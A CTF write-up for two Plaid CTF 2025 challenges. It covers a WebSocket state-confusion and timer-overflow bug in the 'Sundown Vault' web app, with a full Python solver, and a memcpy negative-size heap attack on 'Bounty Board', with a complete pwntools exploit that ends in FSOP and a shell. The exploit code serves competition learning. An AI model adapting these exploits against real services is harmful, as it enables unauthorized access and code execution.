Web & Pwn - Plaid CTF 2025
Sundown Vault:
The Challenge
Sundown Vault is a web application that allows users to create time-locked secrets which can only be revealed once a specified time has passed. Our goal is to retrieve the flag, which is stored as a secret with ID 13371337-1337-1337-1337-133713371337
that isn't supposed to be revealed until the year 2026.
Understanding the Application
Sundown Vault uses a classic web architecture:
- Express.js backend API with WebSocket support
- React frontend
- PostgreSQL database for storage
- Luxon for date/time handling
Users can:
- Register and log in
- Create secrets with a specific reveal time
- View their own secrets
- Connect to a WebSocket to watch a secret's countdown and see it revealed when the time comes
The flag is stored in the sundown.secret
table with a reveal date in 2026:
INSERT INTO sundown.secret(id, owner_id, name, secret, reveal_at)
VALUES ('13371337-1337-1337-1337-133713371337', 'plaid', 'Flag', 'PCTF{test_flag}', '2026-04-10 21:00:00+00');
And at startup, the application updates this secret with the real flag:
await pool.query(
sql.unsafe`UPDATE sundown.secret SET secret = ${env.FLAG} WHERE id = '13371337-1337-1337-1337-133713371337'`,
);
Diving into the WebSocket Implementation
The interesting part is how the application handles the time-based revealing of secrets through WebSockets. Here's the core WebSocket handler from api.ts
:
apiRouter.ws("/ws", (ws, req) => {
// Per-connection state variables
let secretId: string | undefined;
let secret: string | undefined;
let timeout: NodeJS.Timeout | undefined;
let remaining: number | undefined;
let timeoutDuration: number | undefined;
function revealSecret() {
if (secretId === undefined || secret === undefined) {
return;
}
ws.send(JSON.stringify({ kind: "Reveal", id: secretId, secret }));
secretId = undefined;
secret = undefined;
timeout = undefined;
remaining = undefined;
}
function updateTimeoutDuration() {
timeoutDuration = UpdateIntervals.find((interval) => interval <= remaining! / 100) ?? 100;
}
function updateTimeout() {
if (remaining === undefined) {
return;
}
if (timeout !== undefined) {
clearTimeout(timeout);
}
ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));
timeout = setTimeout(() => {
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}, timeoutDuration);
}
ws.on("message", async (message) => {
try {
// Parse the message and get the secret ID
let data = /* parse the message */;
// Fetch the secret from the database
const secretData = await pool.maybeOne(sql.type(/* ... */))`
SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
FROM sundown.secret
WHERE id = ${data.id}
`;
// Update the connection state
secretId = secretData.id;
secret = secretData.secret;
ws.send(JSON.stringify({ kind: "Watch", id: secretId, name: secretData.name }));
remaining = new Date(secretData.reveal_at).getTime() - Date.now();
// Set up the timer
if (remaining <= 0) {
revealSecret();
} else {
if (timeoutDuration === undefined) {
updateTimeoutDuration();
}
updateTimeout();
}
} catch (err) {
console.error("Unexpected error", err);
ws.close();
}
});
ws.send(JSON.stringify({ kind: "Connected" }));
});
The Vulnerability: State Confusion
After analyzing the code, I identified a critical flaw in the WebSocket handler's state management. Each WebSocket connection maintains a set of state variables (secretId
, secret
, timeout
, remaining
, timeoutDuration
), and there's a race condition when handling multiple messages.
The vulnerability occurs when:
- A client sends an "open" command to request Secret A
- The server updates all state variables to track Secret A
- The server starts a timer to count down until Secret A should be revealed
- The client quickly sends another "open" command to request Secret B
- The server updates
secretId
andsecret
to point to Secret B - Crucially, the timer from step 3 continues running
- When that timer expires, it calls
revealSecret()
which reveals Secret B, even if it's not time for Secret B to be revealed
This is a classic "state confusion" vulnerability where shared state isn't properly reset or isolated between operations.
Additionally, there's no ownership check when requesting a secret. The query simply retrieves the secret by ID without verifying if the requesting user owns the secret:
const secretData = await pool.maybeOne(sql.type(...))`
SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
FROM sundown.secret
WHERE id = ${data.id}
`;
basically it picks a really long (2-year) duration for the update interval, which triggers a spec issue that setTimer behavior is undefined if your input is 2^32+ ms, and node's behavior is to execute it after 1ms; so you can then switch to the flag secret and it'll subtract a huge duration after 1ms and reveal the secret immediately
The Exploit
Our Solver :
#!/usr/bin/env python3
import asyncio
import json
import secrets
import websockets
import requests
# Configuration
TARGET = "http://localhost:3000"
FLAG_SECRET_ID = "13371337-1337-1337-1337-133713371337"
async def exploit():
# Generate random username and password
username = secrets.token_hex(16)
password = secrets.token_hex(16)
# Register user
response = requests.post(
f"{TARGET}/api/register",
headers={"Content-Type": "application/json"},
json={"username": username, "password": password}
)
print(f"Registered user {username} with password {password}")
# Login
response = requests.post(
f"{TARGET}/api/login",
headers={"Content-Type": "application/json"},
json={"username": username, "password": password}
)
# Extract session cookie
cookie_header = response.headers.get("Set-Cookie")
session_cookie = cookie_header.split(';')[0]
print(f"Logged in as {username} with cookie {session_cookie}")
# Create a secret with a very distant future date
response = requests.post(
f"{TARGET}/api/secrets/create",
headers={"Cookie": session_cookie, "Content-Type": "application/json"},
json={
"name": "pwn",
"secret": "pwn",
"revealAt": "+100000-01-01T00:00:00.000Z"
}
)
secret_id = response.json()["id"]
print(f"Created secret {secret_id}")
# Connect to WebSocket and exploit the vulnerability
async with websockets.connect(f"ws://{TARGET.replace('http://', '')}/api/ws",
extra_headers={"Cookie": session_cookie}) as ws:
# Set up message handler
async def message_handler():
while True:
try:
message = await ws.recv()
print(message)
# Check if we got the flag
try:
data = json.loads(message)
if data.get("kind") == "Reveal" and data.get("id") == FLAG_SECRET_ID:
print(f"\nFLAG: {data.get('secret')}")
return True
except:
pass
except:
break
return False
# Start message handler in a separate task
handler_task = asyncio.create_task(message_handler())
# First request our secret
print("Requesting our secret...")
await ws.send(json.dumps({"command": "open", "id": secret_id}))
# Wait a very short time (5ms)
await asyncio.sleep(0.005)
# Then quickly request the flag secret
print("Requesting flag secret...")
await ws.send(json.dumps({"command": "open", "id": FLAG_SECRET_ID}))
# Wait for the handler to complete or timeout
try:
got_flag = await asyncio.wait_for(handler_task, 10)
if not got_flag:
print("Did not receive flag")
except asyncio.TimeoutError:
print("Timeout waiting for flag")
if __name__ == "__main__":
asyncio.run(exploit())
When we execute this exploit:
- We create a new user account to get a valid session
- We create our own secret with a very distant reveal date
- We connect to the WebSocket endpoint
- We request our secret, which starts a timer (but it won't reveal for a long time)
- We immediately request the flag secret, which updates
secretId
andsecret
to point to the flag - The server handles both messages in quick succession, causing state confusion
- The timer associated with our secret goes off after a short time
- When the timer expires, it calls
revealSecret()
with the current values ofsecretId
andsecret
, which now point to the flag - The server reveals the flag to us, even though it's not supposed to be revealed until 2026
The key insight is that there's a race condition in how the WebSocket handler manages state between different message handling events. By sending two requests in quick succession, we can cause the state variables to get confused, revealing secrets prematurely.
Pwn - Bounty Board - didn't solve this one
-
memcpy with negative size may cause controlled offset writes on optimized implementations, where the what implementation is chosen is decided by the cpu type (vendor) and cpu features that the environment depends on through ifunc resolution.
-
The local & remote environment may be different, and also very well be the same. However, this does not require explicit guesses or multiple different implementations of the full exploit. The remote environment behavior can be probed by observable differences between the memcpy implementations. For example, ssse3, sse2, avx & evex, and avx512 will copy 0x30, 0x40, 0x80, and 0x100 respectively to the destination address if given a negative size. Players can use this to check whether the top chunk has been corrupted or not by copying to the adjacent chunk and trying to allocate next chunk. Similarly, copying to negative offsets also work due to differences in unit copy size.
-
Overwrite top chunk to a smaller but page-aligned size Send "00000.....1" or something in the lines of this to scanf to try to allocate 0x800 sized chunk which fails to allocate at top chunk, frees it into unsorted bin and thus writing a libc address on the heap Copy this over to tcache_perthread_struct, partial overwrite to stdout and allocate there to leak pointers, then fsop
we can inspire from this https://corgi.rip/posts/leakless_heap_1/
#!/usr/bin/python3
from pwn import *
from sys import argv
import traceback
# remote uses __memcpy_avx512_unaligned_erms
e = context.binary = ELF('./copy_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if args.REMOTE:
ip, port = "bounty-board.chal.pwni.ng", 1337
conn = lambda: remote(ip, port, level="error")
else:
conn = lambda: e.process(level="error")
context.terminal = ["gnome-terminal", "--", "bash", "-c"]
def attach(p):
gdb.attach(p, gdbscript=f"""
set $memcpy=__memcpy_avx512_unaligned_erms
set $libc=(long)&system - 0x58750
set $heap=*(unsigned long*)($libc-0x2900)-0x10
""")
pause()
send_choice = lambda c: p.sendlineafter(b"> ", str(c).encode())
index = 0
def alloc(size, data):
global index
send_choice(0)
p.sendlineafter(b"size: ", str(size).encode())
assert b"\n" not in data
if len(data) < size:
data += b"\n"
p.send(data)
index += 1
return index-1
def copy(dst, src, sz):
send_choice(1)
p.sendlineafter(b"dst: ", str(dst).encode())
p.sendlineafter(b"src: ", str(src).encode())
p.sendlineafter(b"len: ", str(sz).encode())
def scanf(n):
send_choice("0"*(n-1) + "1")
p.sendlineafter(b"dst: ", b"-1")
def leak():
# guess
libc.address = 0xb000
top_size = 0xc11
data = b"A"*8 + p16(libc.sym._IO_2_1_stdout_ & 0xffff) + b"A"*6
data += b"A" * 0x40
data += b"A"*8 + p64(top_size)
data = data.ljust(0x70, b"\x00")
data += p16(0)*3 + p16(1) + p64(0)*4
data = data.ljust(0xe0, b"\x00")
src = alloc(0xf7, data)
dst = alloc(0x57, b"B"*0x10)
# overwrite top chunk size
copy(dst, src, -0x190)
# move tcache count into position
copy(src, dst, -0x10)
copy(src, dst, -0x90)
copy(src, dst, -0x190)
# copy guess back to src, it getts overwritten by last copy
copy(dst, src, 0x10)
# get unsortedbin chunk
scanf(0x800)
# copy libc pointer to another chunk
leak1 = alloc(0x100, b"X")
copy(src, leak1, -0x20)
# partially overwrite libc pointer -> stdout
copy(src, dst, 10)
# move (guessed) stdout pointer to tcache_perthread_struct
copy(src, dst, -0x78)
copy(src, dst, -0x78-0x100+0x80)
# allocate on stdout for FSOP
alloc(0x47, p64(0xfbad1800) + b"\x00"*0x17)
return p.recvuntil(b"[[ Menu ]]", drop=True)
def is_valid(p):
p.recvuntil(b"[[ Menu ]]")
return p.libs()["./bounty_board/libc.so.6"] & 0xffff == 0xb000
while True:
index = 0
p = conn()
try:
out = leak()
if out:
break
print("EMPTY")
except EOFError as exception:
print(repr(exception))
p.close()
stdin = u64(out[-19-8:-19])
log.info(f"_IO_2_1_stdin_: {hex(stdin)}")
libc.address = 0
libc.address = stdin - libc.sym._IO_2_1_stdin_
log.info(f"libc: {hex(libc.address)}")
# setup 2 pointers in tcache_prethread_struct
# tcache[0xe0] and tcache[0xf0]
data = p64(0)*2
data += p64(0) + p16(1)*2 + p16(0)*2
data = data.ljust(0xe0, b"\x00")
data += p64(0xdeadbeef) + p64(libc.sym._IO_2_1_stdout_)
dst = alloc(0xf7, data)
src = alloc(0xf7, data)
# move both tcache count and pointer into tcache_perthread_struct
for i in range(5):
copy(dst, src, -(0x10 + 0x100*i))
# https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#3---the-fsop-way-targetting-stdout
# some constants
stdout_lock = libc.sym._IO_stdfile_1_lock
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
# our gadget
gadget = libc.address + 0x00000000001724f0 # add rdi, 0x10 ; jmp rcx
fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system'] # the function that we will call: system()
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00') # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200 # _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
assert len(fake) <= 0xe8
alloc(0xe7, bytes(fake)[:0xe7])
p.interactive()